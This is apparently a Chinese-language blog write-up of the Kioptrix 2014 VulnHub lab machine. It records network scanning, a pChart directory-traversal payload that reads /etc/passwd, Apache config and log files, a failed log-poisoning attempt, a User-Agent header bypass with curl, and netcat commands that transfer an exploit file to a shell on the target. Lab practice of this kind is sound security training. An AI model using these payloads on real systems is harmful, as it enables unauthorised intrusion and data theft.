kioptrix

::: {.container}
::: {.post}
::: {.show-content}
奇特的是,nmap完全没有探测到主机开放的痕迹,换了几个参数,扫来扫去都没有发现。。。

是不是配置错误,没有联网,可是桥接没错啊。

netdiscover -r 192.168.1.0/24

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

然后找到虚拟机作者的博客。他说这个虚拟机是为了初学者而设计,不是为了有十年经验的渗透者。他做的是帮助初学者在这方面起步。虚拟机有点问题,但是他不知道怎么解决,所以需要移除网卡,然后重新添加上去。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

信息搜集:

192.168.1.159 

80/tcp  open  http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

8080/tcp open  http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

|_http-title: 403 Forbidden  没有权限进入该服务器8080端口。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

Device type: general purpose

操作系统: FreeBSD 9.0-RELEASE - 10.3-RELEASE

分析:

8080可能是代理,因为paros进行浏览器代理的时候,用的就是8080端口。(你能有靠谱点的理由吗!好吧,百度搜到的:8080端口是被用于WWW代理服务的,可以实现网页浏览,经常在访问某个网站或使用代理服务器的时候,会加上”:8080”端口号。另外Apache
Tomcat web server安装后,默认的服务端口就是8080.)

进一步探测:

经过初步探测,应该从80端口的http服务下手。

用paros扫描,完全没有什么用。注:新手依赖工具,老鸟使用经验就够了。可惜我还是菜鸟。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

换一个吧,用metasploit自带的web扫描扫描wmap。wmap使用

也没有成功扫描出什么。。手工去翻网页

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

也看不出什么名堂。只好看writeup。


学习到了找到信息,有事没事丢到谷歌上扫的好习惯

敏感文件泄露、目录遍历漏洞

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

到exploit-db上查看,链接说是目录遍历漏洞和反射型xss

我晕,javascript一年多没碰忘得差不多了,反射型xss怎么整?

http://192.168.1.159/pChart2.1.3/examples/index.php?**Action=View&Script=%2f..%2f..%2fetc/passwd**

获取的用户信息

ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin

ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin

ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

http://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub

writeup已经贴上,就不复制粘贴利用过程了。

通过目录遍历漏洞获取apache的默认配置文件(信息搜集获取的服务器版本)。

通过查看默认配置文件,得知从8080端口进入(更改头文件)的方法。(要我我就就看不出也想不到)

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::


本地文件包含:简而言之,在目标网站上,url直接是这种类型:http://www.xxx.com/index.php?page=1.html

就是说,网页通过变量page来获取访问者要求的内容,然而,如果给变量page传递其他文件,甚至是服务器上不打算公开的文件。该脚本还是会乖乖取过来递给攻击者。这TM就很尴尬了,权限没设置好啊。

好,我们现在分析一下,网页做了什么。

导航按钮有,案例、沙盒、延迟载入、图片地图

点案例,会有图片和图片的源代码。叫图片不合适,应该叫图表。

图片会延迟出现一点,说明可能是在本地浏览器,通过php脚本,现绘制而成(猜测)。

F12看网络交互,可以看到服务器传递来的资源,有一些png图片、gif图片,还有php脚本。

通过打开一些图片的地址
http://192.168.1.159/pChart2.1.3/examples/resources/dash-explorer-noleaf.png

确认图表是绘制而成的。

传递过来的php脚本的地址是这样的:

http://192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=example.drawAreaChart.enhanced.php

点沙盒,貌似可以通过页面上的表单改变参数,点生成图表,图表就可以根据给的参数而变化。

点延迟载入,翻译了下,貌似是拉丁语,不知道是什么东西。

点图片地图,貌似也有传递的php脚本。

http://192.168.1.159/pChart2.1.3/examples/imageMap/index.php?Action=ViewPHP&Script=scripts/3DRing.php

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

先用浏览器打开脚本的地址,然后用script参数试试/etc/passwd。发现两个地址都可以成功显示密码文件。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

还有一个问题。。不知道Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf,这个是怎么猜出来的?

如果服务器在给出的路径中,并没有那个文件,那么浏览器就会显示空白。每个目标的配置文件,位置应该会有所不同吧。。?

搜索”freebsd
apache路径”关键字
,注意!下面的默认路径是apache而不是apache22。。。。而在目标中有版本号22。。。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

搜索关键字”freebsd apache log file
location”,尝试之下找出了两个文件路径。

http://192.168.1.159/pChart2.1.3/examples/index.php?Action=ViewPHP&Script=../../../../../../../var/log/httpd-error.log

http://192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=../../../../../../../../../var/log/httpd-access.log

尝试本地包含漏洞的代码执行,参考

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

失败,如上图所示,php代码并没有执行。还是<?php phpinfo(); 
?>。如果成功执行了,日志页面log应该如下所示。

失败的原因是:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。可能那个参数没开,所以没有执行。(目标主机php版本5.3.8)

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
另一台虚拟靶机的截图
:::
:::

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

总结:

curl  -H  "User-Agent:Mozilla/4.0"  http://192.168.1.159:8080

curl与wget的区别:wget用来下载文件。curl可以post数据,可以自定义request等,比较灵活。使用侧重点不同。

通过在msf里,用”search phptax”,寻找可利用模块。

nc -lvp 443 < exploit.c 
(kali执行,将exploit-db的提权命令复制下来,然后监听本地443端口)

nc -nv kali主机ip 443 -w 5 >exploit.c 
(目标主机反弹shell上执行,获取443端口的exploit文件)

-l:使用监听模式,监控传入的资料;

-n:直接使用ip地址,而不通过域名服务器;

-v:显示指令执行过程;

-w<超时秒数>:设置等待连线的时间;

可以知道,虽然文件包含漏洞在不能执行任意代码的时候,有点鸡肋,但是泄露的信息同样可能会导致getshell。所以不要小看任何漏洞。
:::
:::
:::